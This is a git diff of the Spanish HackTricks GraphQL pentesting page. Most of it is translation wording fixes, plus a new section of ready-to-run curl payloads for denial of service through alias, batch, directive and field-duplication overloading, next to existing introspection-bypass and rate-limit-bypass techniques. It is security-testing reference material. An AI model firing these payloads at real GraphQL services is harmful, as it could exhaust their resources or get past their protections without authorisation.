diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index e15a5f88e..f50d84aaa 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: ) @@ -202,7 +202,7 @@ Puedes ver que los objetos "_Flags_" están compuestos por **name** y **value**. ```javascript query={flags{name, value}} ``` -Ten en cuenta que en caso de que el **objeto a consultar** sea un **tipo** **primitivo** como **string** como en el siguiente ejemplo +Nota que en caso de que el **objeto a consultar** sea un **tipo** **primitivo** como **string** como en el siguiente ejemplo ![](<../../.gitbook/assets/image (958).png>) @@ -211,7 +211,7 @@ Puedes simplemente consultarlo con: query={hiddenFlags} ``` En otro ejemplo donde había 2 objetos dentro del objeto de tipo "_Query_": "_user_" y "_users_".\ -Si estos objetos no necesitan ningún argumento para buscar, podría **recuperar toda la información de ellos** solo **pidiendo** los datos que desea. En este ejemplo de Internet podría extraer los nombres de usuario y contraseñas guardados: +Si estos objetos no necesitan ningún argumento para buscar, podría **recuperar toda la información de ellos** simplemente **pidiendo** los datos que desea. En este ejemplo de Internet, podría extraer los nombres de usuario y contraseñas guardados: ![](<../../.gitbook/assets/image (880).png>) @@ -229,7 +229,7 @@ Así que, realizando un ligero _**uid**_ bruteforce, descubrí que en _**uid**=* ![](<../../.gitbook/assets/image (90).png>) -Nota que **descubrí** que podía pedir los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error: +Ten en cuenta que **descubrí** que podía pedir los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error: ![](<../../.gitbook/assets/image (707).png>) @@ -322,7 +322,7 @@ rating ``` **Nota cómo tanto los valores como el tipo de datos se indican en la consulta.** -Además, la base de datos admite una operación de **mutación**, llamada `addPerson`, que permite la creación de **personas** junto con sus asociaciones a **amigos** y **películas** existentes. Es crucial notar que los amigos y las películas deben preexistir en la base de datos antes de vincularlos a la persona recién creada. +Además, la base de datos admite una operación de **mutación**, llamada `addPerson`, que permite la creación de **personas** junto con sus asociaciones a **amigos** y **películas** existentes. Es crucial notar que los amigos y las películas deben existir previamente en la base de datos antes de vincularlos a la persona recién creada. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -371,13 +371,13 @@ Como podemos ver en la captura de pantalla de la respuesta, la primera y la terc Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recrean la mayor parte del esquema. -Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**verifica esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede encontrar aquí**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Eludir las defensas de introspección de GraphQL -Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no ser considerados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas: +Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no estar contemplados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas: ```bash # Example with newline to bypass { @@ -441,7 +441,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en el GraphQL abusando de un CSRF. -Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie de la bandera `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. +Sin embargo, tenga en cuenta que el nuevo valor de cookie predeterminado de la bandera `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar siendo validado en una solicitud GET.** @@ -461,7 +461,7 @@ Para más información consulte: ## Autorización en GraphQL -Muchas funciones de GraphQL definidas en el punto final pueden solo verificar la autenticación del solicitante pero no la autorización. +Muchas funciones de GraphQL definidas en el punto final pueden solo verificar la autenticación del solicitante, pero no la autorización. Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta [leaked](https://hackerone.com/reports/792927). @@ -483,7 +483,7 @@ En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" ## Eludir límites de tasa usando alias en GraphQL -En GraphQL, los alias son una característica poderosa que permite la **nominación de propiedades explícitamente** al hacer una solicitud de API. Esta capacidad es particularmente útil para recuperar **múltiples instancias del mismo tipo** de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre. +En GraphQL, los alias son una característica poderosa que permite la **nominación de propiedades explícitamente** al hacer una solicitud API. Esta capacidad es particularmente útil para recuperar **múltiples instancias del mismo tipo** de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre. Para una comprensión detallada de los alias de GraphQL, se recomienda el siguiente recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). @@ -504,6 +504,82 @@ valid } } ``` +## DoS en GraphQL + +### Sobrecarga de Alias + +**Sobrecarga de Alias** es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, haciendo que el resolutor de backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una **Denegación de Servicio (DoS)**. Por ejemplo, en la consulta a continuación, el mismo campo (`expensiveField`) se solicita 1,000 veces usando alias, forzando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Para mitigar esto, implemente límites de conteo de alias, análisis de complejidad de consultas o limitación de tasa para prevenir el abuso de recursos. + +### **Agrupación de Consultas Basada en Arreglos** + +**Agrupación de Consultas Basada en Arreglos** es una vulnerabilidad donde una API de GraphQL permite agrupar múltiples consultas en una sola solicitud, lo que permite a un atacante enviar un gran número de consultas simultáneamente. Esto puede abrumar el backend al ejecutar todas las consultas agrupadas en paralelo, consumiendo recursos excesivos (CPU, memoria, conexiones a la base de datos) y potencialmente llevando a un **Denial of Service (DoS)**. Si no existe un límite en el número de consultas en un lote, un atacante puede explotar esto para degradar la disponibilidad del servicio. + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +En este ejemplo, 10 consultas diferentes se agrupan en una sola solicitud, obligando al servidor a ejecutar todas simultáneamente. Si se explota con un tamaño de lote más grande o consultas computacionalmente costosas, puede sobrecargar el servidor. + +### **Vulnerabilidad de Sobrecarga de Directivas** + +**Sobrecarga de Directivas** ocurre cuando un servidor GraphQL permite consultas con directivas excesivas y duplicadas. Esto puede abrumar el analizador y el ejecutor del servidor, especialmente si el servidor procesa repetidamente la misma lógica de directiva. Sin una validación o límites adecuados, un atacante puede explotar esto creando una consulta con numerosas directivas duplicadas para provocar un alto uso computacional o de memoria, lo que lleva a una **Denial of Service (DoS)**. + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **podría no estar declarada**. Una directiva común que generalmente existe es **`@include`**: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +También puedes enviar una consulta de introspección para descubrir todas las directivas declaradas: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +Y luego **usa algunos de los personalizados**. + +### **Vulnerabilidad de Duplicación de Campos** + +**Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**. +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## Tools ### Vulnerability scanners @@ -516,7 +592,7 @@ valid * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**. * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques GraphQL por lotes, lo que puede ser útil para eludir límites de tasa mal implementados. +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques GraphQL por lotes, lo que puede ser útil para eludir límites de tasa mal implementados. * [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros. ### Clients @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)